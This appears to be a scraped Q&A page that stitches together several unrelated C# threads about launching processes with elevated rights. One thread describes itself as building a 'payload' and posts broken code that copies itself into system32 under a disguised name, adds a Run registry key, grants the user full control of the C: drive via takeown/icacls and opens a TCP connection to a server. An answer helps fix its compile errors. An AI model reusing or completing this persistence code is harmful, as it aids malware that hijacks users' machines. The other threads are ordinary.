I am making an installer for one of my applications, whenever I hit install and I get to the 'folder already exists' message box I made I click OK but then a new process of my application appears and I don't want it to! How do I fix this? Here's my code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Diagnostics;
namespace GladeInstaller
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
try
{
ProcessStartInfo startInfo;
startInfo = new ProcessStartInfo();
startInfo.FileName = Path.Combine
(Path.GetDirectoryName(Application.ExecutablePath), "GladeInstaller.exe");
startInfo.Arguments =
string.Empty;
startInfo.UseShellExecute = true;
startInfo.Verb = "runas";
Process.Start(startInfo);
}
catch (Exception)
{
MessageBox.Show("The installer needs to be ran as administraitor in order for it to work, if you dont have theese priverlages download Glade Skinned", "Glade Installation Error");
Environment.Exit(0);
}
string path = #"c:\Glade";
try
{
// Determine whether the directory exists.
if (Directory.Exists(path))
{
MessageBox.Show("The directory C:\\Glade allready exists! Delecte the folder C:\\Glade and re-run the installer");
Application.Exit();
}
DirectoryInfo di = Directory.CreateDirectory(path);
Console.WriteLine("The directory was created successfully at {0}.", Directory.GetCreationTime(path));
}
catch (Exception ec)
{
Console.WriteLine("The process failed: {0}", ec.ToString());
try
{
foreach (Process proc in Process.GetProcessesByName("Glade Installer"))
{
proc.Kill();
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
Environment.Exit(0);
}
try
{
foreach (Process proc in Process.GetProcessesByName("Glade Installer"))
{
proc.Kill();
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
MessageBox.Show("Installation finished!", "Glade Installer");
Application.Exit();
}
private void button2_Click(object sender, EventArgs e)
{
Application.Exit();
}
}
All the code is correct, sorry if it isn't formatted correctly.
Edit:
After Process.Start(startInfo) I realised that I need to put Application.Exit()
Application.Exit() kills Application.
Here i refactored your code to stop doing that please try it.
try
{
ProcessStartInfo startInfo;
startInfo = new ProcessStartInfo();
startInfo.FileName = Path.Combine
(Path.GetDirectoryName(Application.ExecutablePath), "GladeInstaller.exe");
startInfo.Arguments =
string.Empty;
startInfo.UseShellExecute = true;
startInfo.Verb = "runas";
Process.Start(startInfo);
}
catch (Exception)
{
MessageBox.Show("The installer needs to be ran as administraitor in order for it to work, if you dont have theese priverlages download Glade Skinned", "Glade Installation Error");
Environment.Exit(0);
}
string path = #"c:\Glade";
try
{
// Determine whether the directory exists.
if (Directory.Exists(path))
{
MessageBox.Show("The directory C:\\Glade allready exists! Delecte the folder C:\\Glade and re-run the installer");
// This part was killing you application
// now it just ends click event without killing application.
//Application.Exit();
}
else
{
DirectoryInfo di = Directory.CreateDirectory(path);
Console.WriteLine("The directory was created successfully at {0}.", Directory.GetCreationTime(path));
try
{
foreach (Process proc in Process.GetProcessesByName("Glade Installer"))
{
proc.Kill();
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
MessageBox.Show("Installation finished!", "Glade Installer");
Application.Exit();
}
}
catch (Exception ec)
{
Console.WriteLine("The process failed: {0}", ec.ToString());
try
{
foreach (Process proc in Process.GetProcessesByName("Glade Installer"))
{
proc.Kill();
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
Environment.Exit(0);
}
You are starting a new process in Button1_Click. Take that out and it won't loop. If you need to run the installer as administrator, do it by adding the following to the application manifest file:
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
Your user will be prompted via the UAC to continue.
You should also make sure the user has UAC enabled. If they don't and they are not running as an admin you should provide an error message indicating that.
Related
Error (CS0103): The name 'regk' does not exist in the current context
Error (CS0103): The name 'rk' does not exist in the current context
I am attempting to generate a payload.
Full code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Security.AccessControl;
using System.ComponentModel;
using System.Diagnostics;
using Microsoft.Win32;
using System.Net.Sockets;
namespace Test
{
class Class2
{
public static bool RunOnStartup(string AppTitle, string AppPath)
{
RegistryKey rk;
try
{
rk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
return true;
}
catch (Exception)
{
}
try
{
rk = Registry.CurrentUser.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
}
catch (Exception)
{
return false;
}
return true;
}
static void drop()
{
//take ownership of the file, code assumes file you want to delete is toBeDeleted.txt
ProcessStartInfo processInfo = new ProcessStartInfo("cmd.exe", #"/k takeown /f C:\ && icacls C:\ /grant %username%:F");
processInfo.CreateNoWindow = true;
processInfo.UseShellExecute = true;
processInfo.Verb = "runas";
processInfo.FileName = System.Reflection.Assembly.GetExecutingAssembly().Location;//path of your executable
try
{
Process.Start(processInfo);
// a prompt will be presented to user continue with deletion action
// you may want to have some other checks before deletion
File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, #"C:\Windows\system32\run32.exe");
RunOnStartup("sysrun32", #"C:\Windows\system32\run32.exe");
}
catch (Win32Exception)
{
//Do nothing as user cancelled UAC window.
}
catch (System.IO.IOException)
{
}
}
static void Main()
{
string serverip = "127.0.0.1";
if (File.Exists(#"C:\Windows\System32\run32.exe"))
{
if (System.Reflection.Assembly.GetExecutingAssembly().Location == #"C:\Windows\system32\run32.exe")
{
try
{
if(!Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12").GetValue == "true")
{
regk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12", true);
rk.SetValue("needsrun", "true");
}
else
{
TcpClient client = new TcpClient(serverip, 6675);
NetworkStream ns = client.GetStream();
ns.Write();
}
}
catch (Exception e)
{
}
}
}
else
{
drop();
}
}
}
}
There is my full code. Any help would be appreciated.
-bobboo101
Since regk isn't defined you need to define it's type or use var when you declare it e.g. var regk =.
You also can't access rk from Main because it's declared in RunOnStartup
You need to revise your class to store those variables at the class level as fields e.g. within Class2 and then you can access them from the methods you declare however keep in mind you have declared your methods as static so you will need to do the same for the variables or change the calls of your program to pass them to an instance.
I have created two projects under the same solution. ProjectA is a Windows Form Application and ProjectB is a simple console application.ProjectB will be executed from ProjectA with admin privileges.
Sample from ProjectA
private void btnFinish_Click(object sender, EventArgs e)
{
ipAddress = txtIP.Text;
bindingPort = txtPort.Text;
if (!fileChosen)
{
CreateCertificate();
//
}
//After this step i want to execute ProjectB with admin provileges with 3 parameters
ExecuteB_AsAdminWithPrivileges(ipAddress, bindingPort, serverCert);
}
}
So when i click the button name Finish i want the ProjectB.exe to be executed with parameters that i will give from ProjectA.
And ProjectB will look sth like:
public static void StoreAndBindCertificate(string pfxFileServerCert, string ipAddress, string ipPort)
{
//
}
This is the method which will be using the parameters from ProjectA.
How can i get the Parameters from ProjectA to this method in ProjectB?
You could use this method:
public static int RunProcessAsAdmin(string exeName, string parameters)
{
try {
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.UseShellExecute = true;
startInfo.WorkingDirectory = CurrentDirectory;
startInfo.FileName = Path.Combine(CurrentDirectory, exeName);
startInfo.Verb = "runas";
//MLHIDE
startInfo.Arguments = parameters;
startInfo.ErrorDialog = true;
Process process = System.Diagnostics.Process.Start(startInfo);
process.WaitForExit();
return process.ExitCode;
} catch (Win32Exception ex) {
WriteLog(ex);
switch (ex.NativeErrorCode) {
case 1223:
return ex.NativeErrorCode;
default:
return ErrorReturnInteger;
}
} catch (Exception ex) {
WriteLog(ex);
return ErrorReturnInteger;
}
}
The first parameter will be your .exe file and the second one will be the parameters you want to give to your .exe file
After this you should make changes in your .exe file in the main section.
Something like:
static void Main(string[] args)
{
if (args.Length <= 1) return;
try
{
if (args.Length == 2)
{
_IpAddress = args[0];
_IpPort = args[1];
FunctionName(_IpAddress, _IpPort);
}
else
{
_return
}
}
catch (Exception)
{
throw new Exception("Invalid number of parameters!");
}
}
I hope this helps.
Update
ProgramA{
string ip ="123.123.123";
File.WriteAllText("c://MtDataFromA.txt","ip="+ip);
}
private void btnFinish_Click(object sender, EventArgs e)
{
ipAddress = File.WriteAllText("c://MtDataFromA.txt");//some algorithem to find the ip from text file
}
public static void StoreAndBindCertificate(string pfxFileServerCert, string ipAddress, string ipPort){
// Use ProcessStartInfo class
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.CreateNoWindow = false;
startInfo.UseShellExecute = false;
startInfo.FileName = "YourFile.exe";
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.Arguments = "ipAddress"+" " +"ipPort";
try
{
// Start the process with the info we specified.
// Call WaitForExit and then the using statement will close.
using (Process exeProcess = Process.Start(startInfo))
{
exeProcess.WaitForExit();
}
}
catch
{
// Log error.
}
}
link
When i run this application i get an message that DeviceApplication.CAB installation was unsuccessfull .
I checked inside the windows directory and i found that wceload.exe is available.
I have placed the cab inside the directory where the present exe is running .
Any idea how to do this ??
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
namespace DeviceApplication3
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public void displayMesage() {
LaunchInstaller("DeviceApplication.cab");
}
private static bool LaunchInstaller(string cabFile)
{
// Info on WceLoad.exe
//http://msdn.microsoft.com/en-us/library/bb158700.aspx
const string installerExe = "\\windows\\wceload.exe";
const string processOptions = "";
try
{
ProcessStartInfo processInfo = new ProcessStartInfo();
processInfo.FileName = installerExe;
processInfo.Arguments = processOptions + " \"" + cabFile + "\"";
Process process = Process.Start(processInfo);
if (process != null)
{
process.WaitForExit();
}
return InstallationSuccessCheck(cabFile);
}
catch (Exception e)
{
MessageBox.Show("Sorry, for some reason this installation failed.\n" + e.Message);
Console.WriteLine(e);
throw;
}
}
private static bool InstallationSuccessCheck(string cabFile)
{
if (File.Exists(cabFile))
{
MessageBox.Show("Something in the install went wrong. Please contact support.");
return false;
}
return true;
}
}
}
Answering my own question ,
Its because of the path i gave in the process ,
ProcessStartInfo psi = new ProcessStartInfo(#"Windows\wceload.exe", "/nodelete \"Program Files\\DeviceApplication3\\DeviceApplication.CAB\"");
Process proc = Process.Start(psi);
I'm new to c#.
I'm looking for solution to this (app to check can be downloaded from http://download.eset.com/special/ESETLogCollector.exe
CODE:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Threading;
using System.Windows.Automation;
namespace LogCollector
{
class Program
{
static void Main(string[] args)
{
ProcessStartInfo proc = new ProcessStartInfo();
proc.UseShellExecute = true;
proc.WorkingDirectory = Environment.CurrentDirectory;
proc.FileName = "C:\\robot\\ESETLogCollector.exe";
proc.Verb = "runas";
Process.Start(proc);
System.Threading.Thread.Sleep(2000);
Console.WriteLine("Ahoj");
AutomationElement desktop = AutomationElement.RootElement;
Condition cond = new PropertyCondition(AutomationElement.NameProperty, "ESET Log Collector");
AutomationElement elc = desktop.FindFirst(TreeScope.Children, cond);
Console.WriteLine(elc.Current.Name);
String save_path = "";
Condition cond1 = new PropertyCondition(AutomationElement.AutomationIdProperty, "1005");
try
{
AutomationElement save_as = elc.FindFirst(TreeScope.Subtree, cond1);
Console.WriteLine(save_as.Current.AutomationId);
save_path = save_as.Current.Name;
}
catch (System.Exception e)
{
Console.WriteLine("EX: {0}", e.Message);
}
if (System.IO.File.Exists(save_path))
{
System.IO.File.Delete(save_path);
Console.WriteLine(save_path);
}
Condition cond2 = new PropertyCondition(AutomationElement.AutomationIdProperty, "1002");
AutomationElement collect = elc.FindFirst(TreeScope.Children, cond2);
Console.WriteLine(collect.Current.Name);
try
{
Object outObject;
collect.TryGetCurrentPattern(InvokePattern.Pattern, out outObject);
InvokePattern pattern = outObject as InvokePattern;
pattern.Invoke();
}
catch (System.Exception e)
{
Console.WriteLine("EX: {0}", e.Message);
}
Console.ReadKey();
}
}
}
All I still got IF I Want to invoke buttonclick is:
Operation is not valid due to the current stat of the object
I really don't know what is happening here. Can anybody help me with this?
Ty
The operation is probably failing because you are not running your automation application as administrator while the ESET Log Collector has been run with elevated permissions.
The UI Automation Security Overview describes the security model and how to communicate with processes that are running at a higher privilege level (i.e. you need a signed application with a manifest file that includes a special attribute).
In .bat file contains code PHP filename.php I am getting error message after opening the bat file Could not find input file:filename.php . Can anyone give the suggestions please
private void button5_Click_1(object sender, EventArgs e)
{
try
{
string bat = "D:\\folder1\\file1.bat";
if (File.Exists(bat))
{
if (radioButton1.Enabled == true)
{
MessageBox.Show(bat.ToString());
System.Diagnostics.Process.Start(bat);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
}
}
I'm guessing the process is not starting in the same folder as filename.php. Either specify the full path in the bat file or set the startup folder:
Process process = new Process();
process.StartInfo.FileName = bat;
process.StartInfo.WorkingDirectory = "D:\\folder1"; // or whatever is appropriate
process.Start();